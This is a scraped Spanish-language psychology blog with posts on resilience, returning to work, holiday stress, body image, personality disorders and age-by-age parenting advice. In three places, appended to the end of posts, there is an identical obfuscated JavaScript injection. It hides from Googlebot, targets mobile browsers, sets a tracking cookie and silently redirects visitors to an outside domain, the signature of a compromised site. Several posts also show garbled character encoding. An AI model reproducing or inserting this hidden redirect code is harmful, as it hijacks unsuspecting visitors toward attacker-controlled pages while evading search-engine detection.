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¿Hundido o reforzado?

Entrevista en Cadena Ser Bilbao, 25/9/14.

Ante las crisis personales o ambientales, parece que «lo que toca» es deprimirse, hundirse, venirse abajo,… y en muchas ocasiones así es. Pero en otras no sólo no lo es; sino que dichas crisis nos sirven para crecer, salir más adaptados, más luchadores y mejor personas.

Resiliencia
Resiliencia

La investigadora Emmy Werner, allá por finales de la década de 1970, publicó una investigación realizada a lo largo de 18 años, en una isla de Hawai (Kauai) en la que investigó qué variables influían en la vida de 660 niños cuya situación ambiental y personal era, a todas luces desastrosa: pobreza, falta de cuidados, violencia, etc. y descubrió para su sorpresa que el 30% de estos niños, al final del estudio ya adultos, eran «invulnerables» a esta situación potencialmente tan dañina. ¿Por qué?.

Fundamentalmente, según Werner, por vivir con un adulto de referencia que les aportaba cariño y seguridad. Pero había algo más que compartían todas esas personas:

1- Autoestima consistente, basada en lo que ellos eran; no en lo que hacían

2- Introspección: capacidad de conocerse a sí mismos, de darse cuenta de sus virtudes, fallos, emociones,…

3- Independencia: no necesitar a los demás para tomar iniciativas

4- Capacidad de relacionarse: habilidad para comunicarse efectivamente con las personas que les rodean

5- Iniciativa: habilidad para ir por delante en la propuesta de acciones a tomar

6- Humor: saber reírse de lo que acontece y de uno mismo

7- Creatividad: inventar, relacionar dos aspectos nuevos entre sí.

8- Moralidad: poseer valores y principios que guían su comportamiento

y 9- Pensamiento Crítico: poner en duda las verdades establecidas y ponerlas a prueba.

 

VUELTA AL TRABAJO

vuelta-al-trabajoA?Para la mayorA?a de personas se acabA? el verano y llega la temida incorporaciA?n laboral. Algunas y algunos dirA?n «suerte» para el que tenga trabajo con los tiempos que corren…

Sarcasmos a parte, para muchas personas estos dA?as logran ser una autA?ntica pesadilla. Pueden aparecer sA?ntomas como; cansancio, insomnio, tristeza, ansiedad…

Todo ello, podrA?amos calificarlo como algo dentro de lo «normal» siempre valorando su frecuencia e intensidad. Esto es, que si pasadas las dos semanas, mA?s o menos, de incorporaciA?n al trabajo se siguen presentando con la misma frecuencia estos sA?ntomas estarA?amos hablando de algo mA?s grave que habrA?a que consultar con un profesional, como un psicA?logo.

Sin embargo, no estA? de mA?s tener presentes ciertas pautas que nos pueden ayudar a pasar el «mal trago», como:

Mantener un buen descanso nocturno para encontrarnos con energA?a durante el dA?a. Alimentarnos correctamente; no saltarnos comidas, comer alimentos sanos. Poder realizar algo de ejercicio fA?sico. Y mantener el contacto con nuestras amistades y familia.

Respecto al trabajo, es conveniente planificarse las actividades paulatinamente y no querer realizarlas todas en la primera semana.

Del mismo modo que entendemos que los mA?s pequeA?os necesitan su periodo de adaptaciA?n, los adultos tenemos que tomar nota y aplicarnos el cuento.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Veranear sin ponerse de los nervios

Artículo aparecido en Grupo Deia, 3/8/2014

Una granizada en la playa, viajar con un adolescente de morros, compartir casa con los cuñados… Las vacaciones no son tan idílicas como en los folletos. El psicólogo Luis de la Herrán explica cómo disfrutarlas sin morir en el intento

planazo-veraniego_7371_1No es cuestión de amargarles las vacaciones, pero deberían ir haciéndose a la idea de que no sonreirán tanto como en los catálogos de las agencias. Vuelos retrasados, discusiones con la pareja, apartamentos a precio de palacete, niños que se asilvestran… “Quien crea que las vacaciones son absolutamente disfrute tiene un problema”, avisa el psicólogo clínico Luis de la Herrán, quien ofrece las claves para afrontar los contratiempos veraniegos y disfrutar en familia.

“No hay que hacer todo juntos como Pin y Pon”

Ni las caravanas kilométricas ni los errores en las reservas. Una de las mayores fuentes de estrés en vacaciones, dice Luis de la Herrán, es la propia familia, con la que se comparte más tiempo del habitual. “Las parejas coinciden mucho más y tienen que tomar (…)

para leer el artículo entero, pincha aquí

a??Complejos estivalesa??

espejo

Llega el verano y con A?l, cambia nuestra vestimenta. El calor y buen tiempo hace que nos
pongamos menos ropa.

DespuA?s de haber estado tapA?ndonos durante el invierno, A?ups! nuestro cuerpo queda al descubiertoa??

Esto, en ciertas ocasiones conlleva a que aparezcan los llamados a??complejosa??, sobre todo en edades tempranas, como la adolescencia: A?poca de nuestras vidas en la que las inseguridades fA?sicas y psicolA?gicas son unas de las preocupaciones mA?s presentes. Esta etapa se define por cambios continuos tanto psicolA?gicos, sociales como fA?sicos. Por ello, es normal que aparezcan inseguridades que hasta el momento no existA?an. Y del mismo modo que se sientan mA?s vulnerables.

Ante los complejos fA?sicos, es normal e incluso podrA?amos considerar que es necesario pasar por ellosa?? y aprender en cierto modo a gestionar la capacidad de frustraciA?n, es decir, aprender a aceptarnos tal y como somos.

En medios de comunicaciA?n y publicidad se exponen y facilitan unos modelos y prototipos de cuerpos irreales que influyen de manera significativa a jA?venes y adolescentes; estA?n a la orden del dA?a. Es obvio que la sociedad y sus valores nos afectan, por lo que la tarea de no dejarse llevar por la masa no es fA?cil, pero tampoco imposible.

Esto, es cuestiA?n de tiempo, de relativizar y exponerse al propio cuerpo. Si este proceso de no aceptaciA?n se prolonga en el tiempo, es aconsejable acudir a un especialista de la psicologA?a, sobre todoA?cuando es un adolescente a quien se le ocurre pasar por el quirA?fano.

Aceptarse y gustarse es la tarea primordial de esta etapa, para llegar a la edad adulta con un buen autoconcepto y autoestima.

No olvidA?is que la belleza estA? en los ojos que la mira.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

ESTRÉS EN VACACIONES

PLAYA MASIFICADAEs habitual oír “necesito unas vacaciones de las vacaciones”. Llega el verano y con él las tan ansiadas vacaciones. Momento, en el que necesitamos descansar, y desconectar de nuestras rutinas…

Sin embargo, en ocasiones, en el periodo vacacional surgen ciertos estresores como: preparar maletas, pasar entre los miembros de la familia más tiempo juntos, o más del que estamos habituados, cambio de horarios y de hábitos, alimenticios, de ocio… todo ello puede ser un foco de conflictos. De hecho estudios, revelan que tras las vacaciones aumenta el número de separaciones de pareja.

Por ello es importante tener presente algunas pautas: no es aconsejable irnos de vacaciones acto seguido del último día de trabajo, conviene tener un periodo de adaptación tanto a la ida como a la vuelta, esto es, incorporase de nuevo a las actividades diarias. Nos facilitará este periodo vacacional si nuestras expectativas se ajustan a nuestras necesidades. Por ejemplo, si nuestra intención es descansar y decidimos ir a una ciudad nueva para conocerla, nuestra expectativa de descanso, es probable que no se cumpla, ya que ir a una ciudad nueva suele implicar visitas, andar… Respecto a la pareja, sería recomendable rescatar todas aquellas actividades o planes de ocio que no se han llevado a cabo por falta de tiempo durante el resto del año. Además debemos tener en cuenta que el espacio de cada uno debe seguir manteniéndose.

¡No olviden que el aburrimiento es más sano de lo que pensamos!

Organizarse = decir «ahora no»

Saber Organizarse. centro delta
Saber Organizarse.

Muchos en nuestros trabajos, debemos sacar temas, gestionar asuntos,… y en ocasiones nos faltan horas del día… En esos momentos corremos el riesgo de presionar demasiado a nuestro organismo y entramos en la fase de «activación» del estrés.

Que nos organicemos. Que planifiquemos. Que ordenemos… pero siempre con una condición: decir que NO a ciertos asuntos y tareas que puedan retrararse en el tiempo; ya que valoramos que existen otras urgentes que deben tener prioridad.

Y claro, detrás de los asuntos y temas hay personas. Ellos y ellas que nos piden que lo hagamos, que les pasemos un documento para mañana, que le revisemos la tarea pendiente o que le enviemos ese mail con la documentación completada…

¿Cómo unir posponer asuntos, demorarlos, decirles que ahora no, con mantener relaciones cordiales en el trabajo?

Siendo sincero, hablando desde la verdad, desde la propia organización, desde el entendimiento de que ese asunto es para ti importante, pero que hoy no podré llevarlo a cabo; sino en el momento posterior que te indico. Manteniendo la sonrisa, las formas, preocupándonos por el interlocutor y empatizando; claro, separando la tarea del mensajero.

– ¿Qué hay de ese correo con la documentación que te pedí? saludos!!

– Lo tengo pensado hacer el jueves, si te parece. Sé que te vendría mejor hoy, lo siento. Me es imposible organizarme porque debo sacar temas urgentes. Gracias por tu paciencia!! Saludos!!!!!!

Parking de los Trastornos de Personalidad (y II)

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Imagen tomada de PsicA?logo especialista Barcelona.A?

DespuA?s de unos dA?as en los que hemos podido pensar la soluciA?n de nuestro original parking, esta semana tenemos las soluciones… A?QuA? opinA?is?

Sin caer en ironA?as, siempre debemos tener presente la complicidad de este tipo de trastornos mentales, de difA?cil diagnA?stico y tratamiento.

Actualmente no existen datos concluyentes respecto a la epidemiologA?a de los trastornos de personalidad, debido a varios factores; A?como el hecho de que la propia persona no tiene conciencia de tener una enfermedad, con lo cual, no suelen pedir ayuda, asA?, es difA?cil saber exactamente cuantas personas afectadas hay. En otras ocasiones, los profesionales de los servicios de atenciA?n primaria no presentan la suficiente formaciA?n en salud mental y ello hace que no deriven a servicios especializados de psiquiatrA?a a las personas con un posible trastorno de personalidad.

No obstante, A?los expertos seA?alan, aludiendo a la investigaciA?n existente al respecto, que aproximadamente el 10% de la poblaciA?n general presenta problemas y sA?ntomas que se corresponden con criterios diagnA?sticos para un trastorno de personalidad.

Con todo esto, podemos concluir que en la actualidad queda un largo camino en continuar investigando este tipo de trastornos mentales que generan tanto sufrimiento en la personas que los padecen.

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Parking de los Trastornos de Personalidad (I)

PARKING DE LOS TRASTORNOS DE PERSONALIDAD
PARKING DE LOS TRASTORNOS DE PERSONALIDAD

a??QuA? imagen tan peculiar y original de describir los trastornos de personalidada??

En este dibujo se puede observar de una manera grA?fica la descripciA?n de la clasificaciA?n de los trastornos de personalidad.

Ahora biena?? personalidada?? trastorno A?quA? es esto?

Dentro de la personalidad distinguimos una serie de aspectos. Lo que heredamos; nuestro temperamento y los aspectos educacionales, sociales, culturales: el carA?cter.

Cuando hablamos de personalidad, estamos haciendo referencia a rasgos de personalidad, es decir, a patrones persistentes de formas de percibir, relacionarse y pensar sobre el entorno y sobre uno mismo que se pone de manifiesto en una amplia gama de contextos sociales y personales.

Dichos rasgos de personalidad sA?lo constituyen trastornos de personalidad cuando se dan una serie de caracterA?sticas:

Un patrA?n permanente de experiencia interna y de comportamiento que se aparta acusadamente de las expectativas de la cultura del sujeto.

Se manifiesta en al menos dos de las siguientes A?reas: Cognoscitiva, Afectiva, Actividad interpersonal o del Control de los impulso.

Es inflexible y se extiende a una amplia gama de situaciones personales y sociales.

Provoca malestar o deterioro social, laboral o de otras actividades de la persona.

Comienza al inicio de la edad adulta.

 

Entonces, observando la imagen A?QuiA?n es quiA?n?….

La soluciA?n prA?ximamente…var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Niños, instrucciones de uso (¡tema escuela!)

El Correo. Herrán
Luis de la Herrán

Hoy (13/5/14) con El Correo, se regala una práctica «Guía de formación 2014-2015» en la que publicamos algunos consejos para tener en cuenta en relación al estudio de nuestros hijos.

Transcribimos el texto del artículo.

EDUCACIÓN INFANTIL

En edades tempranas es frecuente les cueste aguantar la frustración, que se enfaden mucho cuando les negamos algo o les ponemos un límite. Es la época en la que deben aprender los principales hábitos de autonomía e higiene personal. Necesitan rutinas en su vida y figuras de referencia que les demuestren amor y cariño de manera estable.

 

Por eso, podemos indicar los siguientes consejos:

– mantener unas rutinas en lo que respecta a la escuela, a sus pertenencias, sus horarios, las personas que les cuidan,…

– Poco a poco debemos dejarles que hagan las cosas solos; sin nuestra ayuda pero con nuestra supervisión.

– Debemos indicarles cómo se hacen las cosas, pero «sin tocar», estando junto a ellos para dirigirles cómo hacerlas, pero dejando que se equivoquen.

– Cuando consideremos que las actividades lúdicas deben terminar, deberemos avisarlo con antelación, y cumplir nuestro límite «ahora ya no toca jugar en el baño, salgamos a cenar»

– Debemos ser extremadamente coherentes con lo que decimos. si decimos, «tranquilizate, estas teniendo una rabieta y esas no son formas», debemos mantener la calma, pase lo que pase.

– Ante situaciones nuevas o desconocidas para ellos, como un nuevo profesor o cuidadora, amiguitos nuevos,… debemos mostrar confianza y seguridad. Ellos nos verán la cara que ponemos, y la copiaran. Si vamos con miedo, posiblemente tendrán miedo.

 

El correo. HerránEDUCACIÓN PRIMARIA (PRIMER Y SEGUNDO CICLO)

En esta época los niños y las niñas dan un salto cualitativo en su desarrollo emocional y cognitivo. es decir, que piensan de manera muy diferente; más abstractamente, generalizan más, tienen una conciencia mucho más general del tiempo, etc. Son muy autónomos y comienzan las responsabilidades, los asuntos que deben llevar ellos solos.

 

Por ello, podemos distinguir las siguientes pautas a tener en cuenta desde la familia:

 

– Supervisar con ellos las tareas escolares, no hacerlas con ellos, ni por supuestos hacérselas nosotros.

– Reservar siempre el mismo espacio y tiempo en casa para sus quehaceres de la escuela. Deben ir acostumbrándose a responsabilizarse de sus materiales, recados, tareas,…

– Podemos cambiar sus horarios el fin de semana, pero debemos ser cuidadosos con las horas de sueño. Sería aconsejable que tuviera un descanso nocturno muy prolongado; con más horas que los adultos.

– Es muy importante reservar momentos de complicidad entre los padres y los niños y niñas a estas edades. El momento del cuento antes de dormir, de jugar juntos con la tablet, el momento de ver fotos muy chulas por internet, o coleccionar juntos los cromos de fútbol, son espacios fundamentales para el apego entre padres e hijos.

– Empezamos a relacionarnos más con otras famiias, con sus amiguitos y amiguitas. debemos mantener lazos de unión con ese mundo que ellos tienen en el centro escolar.

-Ante un conflicto o agresión entre iguales, debemos darle las herramientas para que entienda los sentimientos de los demás, para que se ponga en su lugar; y luego tome una decisión, ponga en marcha una acción que le lleve a defender sus derechos como persona, que no agreda, pero que no se inhiba. La asertividad es la mejor de las enseñanzas en este momento evolutivo.

 

 

El Correo. HerránEDUCACIÓN PRIMARIA (TERCER CICLO)

En estas edades podemos ver que los grupos de amistades empiezan a aparecer de manera estable. Vemos que la carga de «deberes» es mayor; y que sus hábitos de estudio deben ser ya importantes para que vaya teniendo éxito escolar. Empiezan a descubrir el mundo que hay más allá de las cuatro paredes de casa y de su clase. Empieza una diferenciación mucho más acentuada que antes entre los niños y las niñas. Las habilidades de relación pueden ser un problema en estas edades. Estamos en la franja de edad en la que más se producen agresiones entre iguales. Por eso

 

Por tanto, deberíamos tener en cuenta algunos aspectos como estos:

 

– Potenciar sus gustos y habilidades para que se sientan bien y cómodos haciendo alguna actividad con éxito.

– Supervisar, ya en menor medida, el tema de los deberes y las responsabilidades escolares. Deberíamos controlar lo que deben hacer, y dar el ok cuando lo hagan.

– Ante dificultades en el rendimiento académico a estas edades sería conveniente acudir a valoraciones de especialistas, pues estamos en edades aún muy maleables y plásticas para obtener buenos resultados en general.

– Favorecer los encuentros entre amigos y amigas para disfrutar sus momentos de ocio y que refuercen sus lazos de amistad.

– Suele ser una edad muy buena para explorar nuevos escenarios, otras personas, otros lugares, conocer otras realidades para favorecer su idea dl mundo y de lo que nos rodea. Desde campamentos de verano hasta leer juntos las noticias son actividades muy recomendables.

– Deberíamos entrenar a los niños y niñas a que respondieran a las agresiones con indiferencia y asertividad.

– No debemos formar a que chicos y chicas se junten y compartan momentos de ocio. cada uno debe elegir el suyo propio; pero deberíamos facilitar que conocieran las diferencias entre ambos sexos, así como las similitudes. Todos tenemos los mimos derechos y obligaciones, por lo que las tareas de casa deberían ser equitativas entre hombres y mujeres; y verlo como un aporte de cada cual al «equipo familia».

 

EDUCACIÓN SECUNDARIA OBLIGATORIA

El desarrollo físico es evidente a estas edades. Puede existir sentimientos de inseguridad o de «velocidad» en los cambios que se producen en el cuerpo de cada niño o niña que ya es adolescente. Es una etapa de no ser niño pero tampoco adulto. Necesitan comprobar, explorar, conocer, equivocarse, ser autónomos,…

 

Por eso, no estaría de más que:

– Les dejáramos más margen de confianza en las salidas fuera de casa y en la hora de llegada. Deben comprometerse a llegar a la hora establecida; de lo contrario asumirán las consecuencias en forma de castigo.

– A nivel académico los contenidos van siendo más especializados, y deberán ir pensando hacia qué sector o área les gustaría desarrollar su futuro profesional. Debe conocer sus aptitudes y sus capacidades, y en base a ellas, ir decidiendo un escenario profesional ideal.

